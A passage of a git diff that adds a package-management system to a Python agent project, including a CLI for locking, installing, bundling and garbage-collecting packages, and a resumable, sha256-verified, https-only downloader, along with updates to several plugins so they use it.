_import, globals(), prompt=False): + if not ensure_and_bind("wecom", _import, globals()): return False return check_wecom_callback_requirements() diff --git a/plugins/platforms/whatsapp/adapter.py b/plugins/platforms/whatsapp/adapter.py index 3c21d2dbe0..a6f94bb63d 100644 --- a/plugins/platforms/whatsapp/adapter.py +++ b/plugins/platforms/whatsapp/adapter.py @@ -355,15 +355,34 @@ def _file_content_hash(path: Path) -> str: return "" +def _pm_ensure_node(command: str) -> str | None: + """Lazily provision node/npm through the pm store, then re-resolve. + + ``find_node_executable`` prefers the pm store's pinned Node but never + installs it. Node/npm ship as pm packages, so when the store is empty + this is the pm.ensure wiring the pm-unified-toolchain plan asks for: + install (respecting the lazy-install policy — raises InstallError and + returns None when lazy installs are refused) and re-resolve. + """ + try: + import pm + + pm.ensure("node" if command == "npm" else command) + return find_node_executable(command) + except Exception: + return None + + def check_whatsapp_requirements() -> bool: """ Check if WhatsApp dependencies are available. - + WhatsApp requires a Node.js bridge for most implementations. """ # Prefer Hermes-managed Node/npm so Windows installs are not broken by a - # bad or elevation-triggering system Node on PATH. - _node = find_node_executable("node") + # bad or elevation-triggering system Node on PATH. When the pm store has + # no Node yet, pm.ensure lazily provisions it (policy permitting). + _node = find_node_executable("node") or _pm_ensure_node("node") if not _node: return False try: @@ -584,8 +603,9 @@ class WhatsAppAdapter(WhatsAppBehaviorMixin, BasePlatformAdapter): if not _deps_fresh: print(f"[{self.name}] Installing WhatsApp bridge dependencies...") # Resolve npm path so Windows uses npm.cmd from the - # Hermes-managed portable Node before falling back to PATH. - _npm_bin = find_node_executable("npm") or "npm" + # Hermes-managed portable Node before falling back to PATH; + # pm.ensure provisions npm when the store has none. + _npm_bin = find_node_executable("npm") or _pm_ensure_node("npm") or "npm" try: # Read timeout from environment variable, default to 300 seconds (5 minutes) # to accommodate slower systems like Unraid NAS diff --git a/plugins/video_gen/fal/__init__.py b/plugins/video_gen/fal/__init__.py index e63e2e16e3..4c99eb47ba 100644 --- a/plugins/video_gen/fal/__init__.py +++ b/plugins/video_gen/fal/__init__.py @@ -551,7 +551,7 @@ def _load_fal_client() -> Any: """Lazy-load the ``fal_client`` SDK and cache it on this module. Delegates the actual import to :func:`tools.fal_common.import_fal_client` - so the ``lazy_deps`` ensure-install handling stays in one place. + so the ``pm.ensure_import`` handling stays in one place. Thread-safe via double-checked locking: concurrent first calls import the SDK exactly once instead of each racing thread re-running the import. diff --git a/plugins/web/ddgs/provider.py b/plugins/web/ddgs/provider.py index 824f3edba6..3bfb41ca14 100644 --- a/plugins/web/ddgs/provider.py +++ b/plugins/web/ddgs/provider.py @@ -159,6 +159,17 @@ def _run_ddgs_search_bounded(query: str, safe_limit: int) -> list[dict[str, Any] from tools.environments.local import _sanitize_subprocess_env env = _sanitize_subprocess_env(dict(os.environ)) + # No-boot-through-venv: the worker runs under the STORE python, whose + # third-party imports (ddgs/primp) arrive via the launcher-composed + # PYTHONPATH. The sanitizer strips Hermes-owned entries (cross-version + # protection); this worker is the SAME interpreter, so merge the + # ambient PYTHONPATH back in before prepending the plugins entry. + _ambient_pp = os.environ.get("PYTHONPATH") + if _ambient_pp: + _current = env.get("PYTHONPATH", "") + env["PYTHONPATH"] = ( + _ambient_pp + os.pathsep + _current if _current else _ambient_pp + ) if _test_hook: env["HERMES_DDGS_ALLOW_TEST_HOOKS"] = "1" diff --git a/plugins/web/exa/provider.py b/plugins/web/exa/provider.py index a388e3ad0a..5e964456e1 100644 --- a/plugins/web/exa/provider.py +++ b/plugins/web/exa/provider.py @@ -2,7 +2,7 @@ Subclasses :class:`agent.web_search_provider.WebSearchProvider`. Uses the official Exa SDK (``exa-py``) which is lazy-loaded via -:func:`tools.lazy_deps.ensure` so that cold-start CLI users don't pay the +:func:`pm.ensure_import` so that cold-start CLI users don't pay the SDK import cost when Exa isn't configured. Config keys this provider responds to:: @@ -61,12 +61,12 @@ def _get_exa_client() -> Any: ) try: - from tools.lazy_deps import ensure as _lazy_ensure + from pm import ensure_import as _lazy_ensure - _lazy_ensure("search.exa", prompt=False) + _lazy_ensure("exa") except ImportError: pass - except Exception as exc: # noqa: BLE001 — lazy_deps surfaces install hints + except Exception as exc: # noqa: BLE001 — pm surfaces install hints raise ImportError(str(exc)) from exa_py import Exa # noqa: WPS433 — deliberately lazy diff --git a/plugins/web/firecrawl/provider.py b/plugins/web/firecrawl/provider.py index 0bc88cddcb..b6d4ac38c4 100644 --- a/plugins/web/firecrawl/provider.py +++ b/plugins/web/firecrawl/provider.py @@ -83,9 +83,9 @@ def _load_firecrawl_cls() -> type: global _FIRECRAWL_CLS_CACHE if _FIRECRAWL_CLS_CACHE is None: try: - from tools.lazy_deps import ensure as _lazy_ensure + from pm import ensure_import as _lazy_ensure - _lazy_ensure("search.firecrawl", prompt=False) + _lazy_ensure("firecrawl") except ImportError: pass except Exception as exc: # noqa: BLE001 — surface install hint diff --git a/plugins/web/parallel/provider.py b/plugins/web/parallel/provider.py index 5a9390e92f..7cefd5021c 100644 --- a/plugins/web/parallel/provider.py +++ b/plugins/web/parallel/provider.py @@ -47,14 +47,14 @@ def _ensure_parallel_sdk_installed() -> None: """Trigger lazy install of the parallel SDK if it isn't present. Mirrors the lazy-deps pattern used by the legacy implementation. - Swallows benign ImportError from the lazy_deps helper itself; if the + Swallows benign ImportError from the pm helper itself; if the SDK is genuinely missing the subsequent ``from parallel import ...`` raises ImportError that the caller can handle. """ try: - from tools.lazy_deps import ensure as _lazy_ensure + from pm import ensure_import as _lazy_ensure - _lazy_ensure("search.parallel", prompt=False) + _lazy_ensure("parallel-web") except ImportError: pass except Exception as exc: # noqa: BLE001 — surface install hint as ImportError diff --git a/pm/__init__.py b/pm/__init__.py new file mode 100644 index 0000000000..a1df69c6f1 --- /dev/null +++ b/pm/__init__.py @@ -0,0 +1,60 @@ +"""pm: the hermes package system. + +Everything hermes depends on — tool binaries, the python venv, node_modules +dirs, plugins — is a package in one dependency tree. Package definitions +(pm/packages.py) say what a package IS. The lockfile (pm/lock.json, +machine-written) says exactly which versions and hashes. The installed-state +file (facts.json, per install) says what is actually on this machine. + +ensure(name) makes the installed state match the lockfile and returns a +Runner with the composed environment. env_for(*names) composes already-installed +packages' env without installing anything. +""" + +from pm.ensure import ( + activate, + adopt, + check, + enabled_extras, + ensure, + env_for, + is_installed, + lazy_installs_allowed, + sync_venv, + uv, +) +from pm.extras import available, ensure_import +from pm.lock import Facts, Lockfile +from pm.package import InstallError, Package, Runner, compose_env +from pm.registry import all_packages, get_package, register, walk +from pm.store import Store, current_target + +__all__ = [ + "ensure", + "env_for", + "is_installed", + "adopt", + "check", + "activate", + "sync_venv", + "available", + "ensure_import", + "enabled_extras", + "lazy_installs_allowed", + # NOTE: pm.uv is importable but deliberately not in __all__ — it is the + # marked transitional bridge for update/repair and must not spread. + "Facts", + "Lockfile", + "InstallError", + "Package", + "Runner", + "compose_env", + "all_packages", + "get_package", + "register", + "walk", + "Store", + "current_target", +] + +import pm.packages # noqa: E402,F401 (registers the built-in definitions) diff --git a/pm/cli.py b/pm/cli.py new file mode 100644 index 0000000000..ae1898630b --- /dev/null +++ b/pm/cli.py @@ -0,0 +1,558 @@ +"""hermes pm: lock / install / env / doctor / gc / bundle.""" + +from __future__ import annotations + +import argparse +import json +import shutil +import subprocess +import sys +import threading +from pathlib import Path +from typing import Optional + +from pm.ensure import _facts, _lockfile, _store, ensure +from pm.ensure import uv as pm_uv +from pm.package import InstallError +from pm.registry import get_package +from pm.store import ALL_TARGETS, current_target, hash_url + + +def cmd_lock(args) -> int: + """--bump : resolve every target's archives, hash them, + write. A target with one archive pins the object; several pin a list. + Target-independent urls collapse to one "any" artifact.""" + lockfile = _lockfile() + package = get_package(args.name) + artifacts: dict[str, object] = {} + + def pin(url: str) -> dict: + print(f" {url}") + digest = package.known_sha256(args.version, url) or hash_url(url) + print(f" sha256 {digest}") + return {"url": url, "sha256": digest} + + urls = { + target: package.fetch_urls(args.version, target) + for target in ALL_TARGETS + if package.missing_reason(target) is None + } + distinct = {tuple(u) for u in urls.values()} + if len(distinct) == 1: + print(" any:") + pinned = [pin(url) for url in next(iter(urls.values()))] + artifacts["any"] = pinned[0] if len(pinned) == 1 else pinned + else: + for target, target_urls in urls.items(): + print(f" {target}:") + pinned = [pin(url) for url in target_urls] + artifacts[target] = pinned[0] if len(pinned) == 1 else pinned + lockfile.set_pin(args.name, args.version, artifacts) + lockfile.save() + print(f"pinned {args.name} {args.version} ({len(artifacts)} targets)") + return 0 + + +def _fmt_bytes(n: int) -> str: + return f"{n / (1024 * 1024):.1f} MiB" + + +def _live_progress(name: str): + """Per-package progress for ensure(): download as % + MiB, unpack as a + phase line. Throttled to ~4 MiB steps — a slow line proves it's moving + in a piped (CI) log without flooding it (a 1 MiB tick on a 1.5 GiB + model would be ~1,500 lines).""" + last = 0 + + def report(stage: str, done: int, total: int, label: str) -> None: + nonlocal last + if stage == "unpack": + last = 0 + print(f" {name}: unpacking{(' ' + label) if label else ''}", flush=True) + return + if total <= 0: + return + if done >= total or done - last >= 4 * 1024 * 1024: + last = done + print( + f" {name}: {done / total * 100:5.1f}% {_fmt_bytes(done)} / {_fmt_bytes(total)}", + flush=True, + ) + + return report + + +def _install_names(names: list[str]) -> int: + failed = 0 + for name in names: + try: + ensure(name, explicit=True, progress=_live_progress(name)) + print(f"✓ {name}", flush=True) + except InstallError as e: + print(f"✗ {e}", flush=True) + failed += 1 + return failed + + + +def _bundle_package_names() -> list[str]: + names = [ + n + for n in _lockfile().names() + if not get_package(n).internal or n == "uv" + ] + if "python" not in names: + names.append("python") + return names + + +def _drop_unloadable_runtime_files(store_dir: Path) -> None: + """Drop the x64 VC runtime that python-build-standalone ships beside ARM64 Python.""" + if current_target() != "win32-arm64": + return + facts = _facts() + facts.reload() + python = facts.get("python") + if python and "entry" in python: + (store_dir / python["entry"] / "vcruntime140_1.dll").unlink(missing_ok=True) + + +def cmd_install(args) -> int: + names = args.names or [ + n for n in _lockfile().names() if not get_package(n).optional + ] + failed = _install_names(names) + if not args.names: + from pm.ensure import sync_venv + + try: + sync_venv(explicit=True) + print("✓ venv") + except InstallError as e: + print(f"✗ {e}") + failed += 1 + return 1 if failed else 0 + + +def cmd_env(args) -> int: + from pm.ensure import env_for + + names = args.names or _lockfile().names() + print(json.dumps(env_for(*names), indent=2, sort_keys=True)) + return 0 + + +def cmd_doctor(args) -> int: + from pm.ensure import _identity + from pm.store import tree_digest + + lockfile = _lockfile() + facts = _facts() + store = _store() + target = current_target() + bad = 0 + for name in lockfile.names(): + package = get_package(name) + reason = package.missing_reason(target) + if reason is not None: + print(f"- {name}: n/a on {target} ({reason})") + continue + fact = facts.get(name) + soft = package.optional or package.internal + identity = _identity(lockfile, name, target) + if ( + fact is not None + and identity is not None + and ("target" not in fact or "artifacts" not in fact) + ): + # Legacy fact: pre-dates digest-bound identity; installed() + # treats it as not installed and forces one reinstall. + print(f"{'?' if soft else '✗'} {name}: legacy fact: no recorded identity, run `hermes pm install`") + bad += 0 if soft else 1 + continue + if not facts.installed(name, lockfile.version(name), store.root, identity): + state = "not installed" if fact is None else "outdated" + print(f"{'?' if soft else '✗'} {name}: {state}") + bad += 0 if soft else 1 + continue + entry = store.entry(fact["entry"]) + reason = package.verify(entry, target) + if reason: + print(f"✗ {name}: installed but failed verification: {reason}") + bad += 1 + continue + recorded = fact.get("digest") + if recorded is not None and tree_digest(entry) != recorded: + # Doctor is the expensive-path tool: re-hash the realized + # bytes. Boot checks stay O(1) json compares. + print(f"✗ {name}: realized bytes do not match recorded digest") + bad += 1 + continue + print(f"✓ {name} {fact['version']}") + return 1 if bad else 0 + + +def _venv_site_packages(venv_dir: Path, win: bool) -> Optional[Path]: + """The site-packages dir uv sync fills inside the venv (the venv stays + a dependency target; it is never where `python` resolves).""" + if win: + candidate = venv_dir / "Lib" / "site-packages" + return candidate if candidate.is_dir() else None + for candidate in sorted(venv_dir.glob("lib/python3.*/site-packages")): + if candidate.is_dir(): + return candidate + return None + + +def _develop_env(names: list[str]) -> Optional[dict]: + """The `pm develop` subshell environment. `python` resolves to the pm + STORE python (its bin dir first on PATH); imports come from + PYTHONPATH=;/site-packages (repo first — the venv stays a + dependency target only). VIRTUAL_ENV and the venv bin dir are + deliberately absent: nothing in the devshell boots through the venv + (pm work item 3; pyvenv.cfg is inert dead config). Returns None when + the store interpreter has not been materialized (`hermes pm install`).""" + import os + + from pm import paths + from pm.ensure import env_for + + facts = _facts() + python_fact = facts.get("python") + target = current_target() + if not python_fact or "entry" not in python_fact: + return None + python_bin = get_package("python").binary( + _store().entry(python_fact["entry"]), target + ) + if python_bin is None or not python_bin.is_file(): + return None + + env = env_for(*names, base_env=dict(os.environ)) + repo = paths.repo_root() + venv_dir = repo / (".venv" if (repo / ".venv").is_dir() else "venv") + win = target.startswith("win32") + venv_bin = venv_dir / ("Scripts" if win else "bin") + env.pop("VIRTUAL_ENV", None) + env.pop("PYTHONHOME", None) + # The venv bin dir must never be where `python` resolves. + path_entries = [ + p for p in env.get("PATH", "").split(os.pathsep) if p and Path(p) != venv_bin + ] + env["PATH"] = os.pathsep.join([str(python_bin.parent), *path_entries]) + site = _venv_site_packages(venv_dir, win) + ours = str(repo) + (os.pathsep + str(site) if site else "") + existing = env.get("PYTHONPATH", "") + env["PYTHONPATH"] = ours + (os.pathsep + existing if existing else "") + return env + + +def cmd_develop(args) -> int: + """Install everything, sync the venv, then activate: spawn a subshell + with every tool's env composed in and the pm STORE python resolving + `python` (PYTHONPATH=repo;venv-site-packages for imports — never the + venv interpreter). The devshell equivalent of nix develop. --print + emits eval-able exports for the current shell.""" + import os + import subprocess + + from pm.ensure import sync_venv + + install_names = [ + n for n in _lockfile().names() + if not get_package(n).optional + and get_package(n).missing_reason(current_target()) is None + ] + # The devshell boots the STORE python — make sure it is materialized. + if ( + "python" not in install_names + and get_package("python").missing_reason(current_target()) is None + ): + install_names.append("python") + failed = _install_names(install_names) + try: + sync_venv(explicit=True) + print("✓ venv") + except InstallError as e: + print(f"✗ {e}") + failed += 1 + if failed: + return 1 + + env = _develop_env(_lockfile().names()) + if env is None: + print("✗ develop: no pm store interpreter — run 'hermes pm install' first") + return 1 + + from pm import paths + + win = current_target().startswith("win32") + if args.print_env: + changed = {k: v for k, v in env.items() if os.environ.get(k) != v} + for key, value in sorted(changed.items()): + if win and os.environ.get("SHELL") is None: + print(f'$env:{key} = "{value}"') + else: + escaped = value.replace("'", "'\\''") + print(f"export {key}='{escaped}'") + return 0 + + shell = os.environ.get("SHELL") or os.environ.get("COMSPEC") or ( + "cmd.exe" if win else "/bin/sh" + ) + print(f"pm develop: entering {shell} (exit to leave)") + return subprocess.call([shell], env=env, cwd=paths.repo_root()) + + +def cmd_gc(args) -> int: + from pm.downloader import gc_protected_names + + facts = _facts() + store = _store() + if not store.root.is_dir(): + return 0 + removed = 0 + with store.install_lock(): + facts.reload() + keep = facts.entries_in_use() + # Partials an in-flight (or recently interrupted) download still + # owns must survive the sweep. + protected_partials = gc_protected_names(store.root / "partials") + for item in sorted(store.root.iterdir()): + if not item.is_dir() or item.name.startswith("."): + continue + if item.name == "partials" and protected_partials: + for child in sorted(item.iterdir()): + if child.name in protected_partials: + continue + print(f"removing {item.name}/{child.name}") + if child.is_dir(): + shutil.rmtree(child, ignore_errors=True) + else: + try: + child.unlink() + except OSError: + pass + continue + if item.name in keep: + continue + print(f"removing {item.name}") + shutil.rmtree(item, ignore_errors=True) + removed += 1 + print(f"gc: removed {removed}, kept {len(keep)}") + return 0 + + +def _run_live(cmd: list[str], *, cwd, env, timeout: int = 3600) -> tuple[int, str]: + """Run cmd with its output streamed through our stdout — a long uv + venv build must prove liveness in a piped (CI) log, not vanish until + exit — while still capturing the tail for the failure message. A + reader thread drains output so proc.wait(timeout) keeps the wall-clock + kill the old subprocess.run(timeout=) had. Returns (returncode, last + ~2k chars of combined output).""" + proc = subprocess.Popen( + cmd, cwd=cwd, env=env, stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, text=True, bufsize=1, errors="replace", + ) + tail = "" + lock = threading.Lock() + + def drain() -> None: + nonlocal tail + for line in proc.stdout: + print(line, end="", flush=True) + with lock: + tail = (tail + line)[-2000:] + + thread = threading.Thread(target=drain, daemon=True) + thread.start() + try: + code = proc.wait(timeout=timeout) + except subprocess.TimeoutExpired: + proc.kill() + proc.wait() + raise RuntimeError(f"{cmd[0]} timed out after {timeout}s") + thread.join() + with lock: + return code, tail + + +def cmd_bundle(args) -> int: + """Stage a complete payload for THIS machine's target into --out: + repo snapshot + store + facts (via the normal install path, redirected) + + a relocatable venv built on the staged interpreter and synced from + uv.lock. Built natively per (os, arch); there is no cross-target + staging.""" + import os + + from pm import paths + + out = Path(args.out).resolve() + store_dir = out / "tools" + store_dir.mkdir(parents=True, exist_ok=True) + # A manifest from a previous run would make this payload look sealed + # and refuse its own staging; it is rewritten at the end. + (out / "manifest.json").unlink(missing_ok=True) + + repo_dir = out / "hermes-agent" + ref = args.ref or "HEAD" + if repo_dir.exists(): + shutil.rmtree(repo_dir) + repo_dir.mkdir(parents=True) + print(f"staging repo snapshot ({ref})…", flush=True) + archive = subprocess.run( + ["git", "archive", "--format=tar", ref], + cwd=paths.repo_root(), capture_output=True, timeout=600, + ) + if archive.returncode != 0: + print(f"✗ repo: git archive {ref} failed: {archive.stderr.decode()[-500:]}") + return 1 + import io + import tarfile + + with tarfile.open(fileobj=io.BytesIO(archive.stdout)) as tar: + tar.extractall(repo_dir, filter="data") + print(f"✓ repo ({ref})") + + os.environ["HERMES_RUNTIME_DIR"] = str(store_dir) + paths._stamp.cache_clear() + + failed = 0 + names = _bundle_package_names() + failed += _install_names( + [n for n in names if get_package(n).missing_reason(current_target()) is None] + ) + _drop_unloadable_runtime_files(store_dir) + + uv_bin, env = pm_uv() + if uv_bin is None: + print("✗ venv: uv did not stage") + return 1 + + python_fact = _facts().get("python") + if python_fact is None: + print("✗ venv: no staged interpreter to build on") + return 1 + python_bin = get_package("python").binary( + _store().entry(python_fact["entry"]), current_target() + ) + + # Build + sync INSIDE the staged repo: the editable project install + # must point at the payload's own tree, not this checkout. + venv_dir = out / "venv" + if venv_dir.exists(): + shutil.rmtree(venv_dir) + env["VIRTUAL_ENV"] = str(venv_dir) + env.pop("UV_NO_CONFIG", None) + if current_target().startswith("darwin"): + # python-build-standalone bakes phantom toolchain paths (its build + # dir's llvm-ar) into sysconfig; sdist builds then fail with + # "No such file or directory: .../tools/llvm/bin/llvm-ar". Point + # sdist builds at the machine's real toolchain. + env.setdefault("AR", "/usr/bin/ar") + env.setdefault("CC", "clang") + for cmd in ( + [uv_bin, "venv", "--relocatable", "--python", str(python_bin), str(venv_dir)], + [uv_bin, "sync", "--frozen", "--all-extras", "--active"], + ): + print(f" venv: $ {' '.join(cmd)}", flush=True) + code, tail = _run_live(cmd, cwd=repo_dir, env=env) + if code != 0: + print(f"✗ venv: {' '.join(cmd[1:3])} failed:\n{tail}") + return 1 + print("✓ venv (relocatable, all extras, on the staged interpreter)") + + bad = _arch_guard(store_dir) + for line in bad: + print(f"✗ arch: {line}") + failed += 1 + + manifest = { + "schema": 1, + "target": current_target(), + "ref": ref, + "repo": "hermes-agent", + "venv": "venv", + "store": "tools", + } + (out / "manifest.json").write_text( + json.dumps(manifest, indent=2, sort_keys=True) + "\n", encoding="utf-8" + ) + print(f"✓ manifest ({out / 'manifest.json'})") + return 1 if failed else 0 + + +def _arch_guard(store_dir: Path) -> list[str]: + """Every staged binary must be built for this machine's target — a + payload staged with a mismatched interpreter or PATH tool ships an + artifact that cannot run. Reads facts, probes each entry binary.""" + from pm.lock import Facts + from pm.package import machine_matches_binary + + facts = Facts(store_dir / "facts.json") + problems = [] + target = current_target() + for name in _lockfile().names(): + package = get_package(name) + fact = facts.get(name) + if fact is None or "entry" not in fact: + continue + binary = package.binary(store_dir / fact["entry"], target) + if binary is None or not binary.is_file(): + continue + verdict = machine_matches_binary(binary, target) + # A package that declares this target as emulated (x64 binary run + # under Windows ARM64 built-in emulation) is fine with the x64 PE. + if verdict is False and target not in package.emulated_arch_targets: + problems.append(f"{name}: {binary.name} is not a {target} binary") + return problems + + +def main(argv=None) -> int: + # Windows consoles default to cp1252; pm prints ✓/✗. Never let the + # status glyphs crash the command reporting them. line_buffering: + # pm output must stream live in a piped (CI) log, not sit in a block + # buffer and flush only at exit. + for stream in (sys.stdout, sys.stderr): + try: + stream.reconfigure(errors="replace", line_buffering=True) + except (AttributeError, OSError): + pass + parser = argparse.ArgumentParser(prog="hermes pm") + sub = parser.add_subparsers(dest="cmd", required=True) + + p = sub.add_parser("lock", help="write versions+hashes into pm/lock.json") + p.add_argument("--bump", dest="name", required=True) + p.add_argument("version") + p.set_defaults(func=cmd_lock) + + p = sub.add_parser("install", help="install packages (default: all required)") + p.add_argument("names", nargs="*") + p.set_defaults(func=cmd_install) + + p = sub.add_parser("env", help="print composed env of installed packages") + p.add_argument("names", nargs="*") + p.set_defaults(func=cmd_env) + + p = sub.add_parser("doctor", help="check installed state against the lockfile") + p.set_defaults(func=cmd_doctor) + + p = sub.add_parser("develop", help="install + sync, then activate a devshell with the composed env") + p.add_argument("--print", dest="print_env", action="store_true", + help="print eval-able exports instead of spawning a shell") + p.set_defaults(func=cmd_develop) + + p = sub.add_parser("gc", help="remove store entries nothing references") + p.set_defaults(func=cmd_gc) + + p = sub.add_parser("bundle", help="stage a payload (repo+store+facts+relocatable venv) into --out") + p.add_argument("--out", required=True) + p.add_argument("--ref", help="git ref for the repo snapshot (default HEAD)") + p.set_defaults(func=cmd_bundle) + + args = parser.parse_args(argv) + return args.func(args) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/pm/downloader.py b/pm/downloader.py new file mode 100644 index 0000000000..93b21ec812 --- /dev/null +++ b/pm/downloader.py @@ -0,0 +1,427 @@ +"""Resumable, hash-verified, multi-connection downloads. + +Every large fetch in Hermes goes through this one downloader: pm +packages (pinned sha256 from lock.json) and local models (deliberately +unverified — catalog sizes may lag an upstream re-upload, so sha256 is +optional per source). + +Partial state is the downloader's own. Files land in a managed +partials area keyed by sha256(url), and a finished file is MOVED into +its real destination, so a caller only ever sees a complete file or +nothing. An interrupted download leaves its partial + a .ranges sidecar +(the durable byte-range bitmap) behind, and the next run re-fetches +exactly the ranges the bitmap says are missing. + +The progress callback reports the whole job AND the per-dest bitmap: +``progress(overall_done, overall_total, ranges)`` where ``ranges`` maps +``dest.name`` to half-open [start, end) runs. ``done_bytes`` is the sum; +``ranges`` is the shape — one datum, two resolutions. +""" + +from __future__ import annotations + +import hashlib +import json +import shutil +import threading +import urllib.error +import urllib.request +from dataclasses import dataclass +from pathlib import Path +from typing import Callable, Optional, Sequence + +_UA = {"User-Agent": "hermes-pm"} +_LOOPBACK = ("http://127.0.0.1:", "http://localhost:", "http://[::1]:") +_CHUNK = 1 << 20 # read/write block, also the minimum range size + + +class _HttpsRedirectHandler(urllib.request.HTTPRedirectHandler): + """The https-only gate must hold across redirects, not just the first + hop — an https URL could otherwise bounce to http mid-download and + carry the payload in the clear.""" + + def redirect_request(self, req, fp, code, msg, headers, newurl): + if not (newurl.startswith("https://") or newurl.startswith(_LOOPBACK)): + raise DownloadError(f"refusing redirect to non-https url: {newurl}") + return super().redirect_request(req, fp, code, msg, headers, newurl) + + +_OPENER = urllib.request.build_opener(_HttpsRedirectHandler()) + + +class DownloadError(RuntimeError): + """Base class for downloader failures.""" + + +class HashError(DownloadError): + """The downloaded bytes did not match the pinned sha256.""" + + +class DownloadPaused(DownloadError): + """pause() was called mid-download; partials were left intact.""" + + +@dataclass(frozen=True) +class Source: + url: str + dest: Path + sha256: str = "" # "" = no integrity check (model catalog policy) + + +_Ranges = list[tuple[int, int]] +ProgressFn = Callable[[int, int, dict[str, _Ranges]], None] + + +def _coalesce(ranges: _Ranges) -> _Ranges: + """Merge half-open [start, end) ranges into sorted, disjoint runs.""" + runs = sorted((a, b) for a, b in ranges if b > a) + if not runs: + return [] + out: _Ranges = [] + a, b = runs[0] + for x, y in runs[1:]: + if x <= b: + b = max(b, y) + else: + out.append((a, b)) + a, b = x, y + out.append((a, b)) + return out + + +def _missing(total: int, covered: _Ranges) -> _Ranges: + """The gaps in [0, total) not covered by the coalesced bitmap.""" + missing: _Ranges = [] + cursor = 0 + for a, b in _coalesce(covered): + if a > cursor: + missing.append((cursor, a)) + cursor = max(cursor, b) + if cursor < total: + missing.append((cursor, total)) + return missing + + +def _sha256_file(path: Path) -> str: + digest = hashlib.sha256() + with open(path, "rb") as f: + for block in iter(lambda: f.read(_CHUNK), b""): + digest.update(block) + return digest.hexdigest() + + +def _existing_dest_ok(source: "Source") -> bool: + """A dest already on disk counts as done only when it is a genuine + complete download. No pinned hash (model-catalog policy): a present + file is accepted — size is the tripwire, same as a fresh fetch. With a + pinned sha256 the existing file must match, or it is re-fetched.""" + if not source.dest.exists(): + return False + if not source.sha256: + return True + try: + return _sha256_file(source.dest) == source.sha256 + except OSError: + return False + + +def _default_partials() -> Path: + from pm import paths + + return paths.store_root() / "partials" + + +# `pm gc` must not delete partials an in-flight download is still writing. +# A sidecar's mtime is the heartbeat: it is (re)written whenever a download +# pauses or errors, and the .part grows on every chunk. Anything touched +# within the grace window is live; everything older is fair game. +GC_GRACE_SECONDS = 6 * 60 * 60 + + +def gc_protected_names( + partials_dir: Path, *, grace_seconds: float = GC_GRACE_SECONDS +) -> set[str]: + """Entry names under ``partials_dir`` an in-flight (or recently + interrupted) download still owns — ``.part`` / ``.ranges`` + pairs whose newest mtime is within ``grace_seconds`` of now. + + gc sweeps call this BEFORE rmtree-ing store entries: partials live in + the store root, and the old name-prefix skip (``startswith(".")``) + does not cover the "partials" directory. A caller deletes only the + names absent from the returned set. + """ + import time + + partials_dir = Path(partials_dir) + now = time.time() + protected: set[str] = set() + if not partials_dir.is_dir(): + return protected + for entry in partials_dir.iterdir(): + try: + # Strict < : grace_seconds=0 protects nothing (the test + # contract for "sweep everything"). mtime can tick a hair + # NEWER than `now` on some filesystems, which <= would + # wrongly treat as inside a zero window. + if now - entry.stat().st_mtime < grace_seconds: + protected.add(entry.name) + except OSError: + protected.add(entry.name) # unreadable → assume live + return protected + + +class Download: + """One resumable download job: a plan of sources, run in parallel. + + Per source: probe Range support, preallocate a flat .part in the + managed partials area, split into at most ``connections`` byte + ranges, and stream each with a ``Range:`` header from a worker + thread. A lock-protected bitmap records which ranges are actually + durable; on resume only the missing ranges are re-fetched. + + A finished source is MOVED into ``Source.dest``. ``pause()`` stops + between chunks and ``run()`` raises :class:`DownloadPaused`, + leaving every partial + sidecar intact for a later resume. + """ + + CONNECTIONS = 8 + + def __init__( + self, + sources: Sequence[Source], + *, + resume: bool = True, + connections: int = CONNECTIONS, + partials_dir: Optional[Path] = None, + ): + self.sources = [Source(s.url, Path(s.dest), s.sha256) for s in sources] + self.resume = resume + self.connections = max(1, int(connections)) + self.partials_dir = Path(partials_dir) if partials_dir else _default_partials() + self._paused = threading.Event() + + def pause(self) -> None: + """Request a stop between chunks; run() raises DownloadPaused.""" + self._paused.set() + + def run(self, progress: Optional[ProgressFn] = None) -> list[Path]: + """Fetch every source; return the moved destination paths.""" + self._paused.clear() + self.partials_dir.mkdir(parents=True, exist_ok=True) + for source in self.sources: + if not (source.url.startswith("https://") + or source.url.startswith(_LOOPBACK)): + raise ValueError(f"refusing non-https url: {source.url}") + + # Probe every source up front so overall_total is the whole job. + probed = [] # (source, total, range_supported) + for source in self.sources: + if _existing_dest_ok(source): + probed.append((source, source.dest.stat().st_size, True)) + continue + # A pre-existing dest that fails its pinned hash is stale — clear + # it so the fetch below replaces it rather than trusting it. + if source.dest.exists(): + source.dest.unlink(missing_ok=True) + total, supported = self._probe(source.url) + probed.append((source, total, supported)) + overall_total = sum(t for _, t, _ in probed) + + moved: list[Path] = [] + done_base = 0 + completed: dict = {} + for source, total, supported in probed: + if _existing_dest_ok(source): + size = source.dest.stat().st_size + completed[source.dest.name] = [(0, size)] + done_base += size + moved.append(source.dest) + continue + + def tick(written: _Ranges) -> None: + if progress is not None: + ranges = dict(completed) + ranges[source.dest.name] = written + progress(done_base + sum(b - a for a, b in written), + overall_total, ranges) + + if total and supported: + self._fetch_ranged(source, total, tick) + else: + self._fetch_single(source, total, tick) + done_base += total + completed[source.dest.name] = [(0, total)] + moved.append(source.dest) + return moved + + # ── internals ───────────────────────────────────────────── + + @staticmethod + def _probe(url: str) -> tuple[int, bool]: + """(total bytes, range_supported). A server that ignores Range + reports its Content-Length instead; 0 means unknown (the + single-stream fallback judges completeness by the body).""" + req = urllib.request.Request(url, headers={**_UA, "Range": "bytes=0-0"}) + try: + with _OPENER.open(req, timeout=60) as r: + if r.status == 206: + content_range = r.headers.get("Content-Range", "") + if "/" in content_range: + return int(content_range.rsplit("/", 1)[1]), True + return 0, False + length = int(r.headers.get("Content-Length") or 0) + return length, False + except urllib.error.HTTPError as exc: + if exc.code in (401, 403): + raise DownloadError( + "the host refused the download (gated or moved). " + "This is a catalog problem, not yours — please report it." + ) from exc + raise + except Exception: # noqa: BLE001 - unknown length, fall back + return 0, False + + def _key(self, url: str) -> str: + return hashlib.sha256(url.encode("utf-8")).hexdigest() + + def _load_sidecar(self, side: Path) -> _Ranges: + if not self.resume or not side.is_file(): + return [] + try: + return [tuple(r) for r in json.loads(side.read_text(encoding="utf-8"))] + except (OSError, ValueError): + return [] + + @staticmethod + def _write_sidecar(side: Path, covered: _Ranges) -> None: + side.parent.mkdir(parents=True, exist_ok=True) + side.write_text(json.dumps(covered), encoding="utf-8") + + def _fetch_ranged(self, source: Source, total: int, tick) -> None: + key = self._key(source.url) + part = self.partials_dir / f"{key}.part" + side = self.partials_dir / 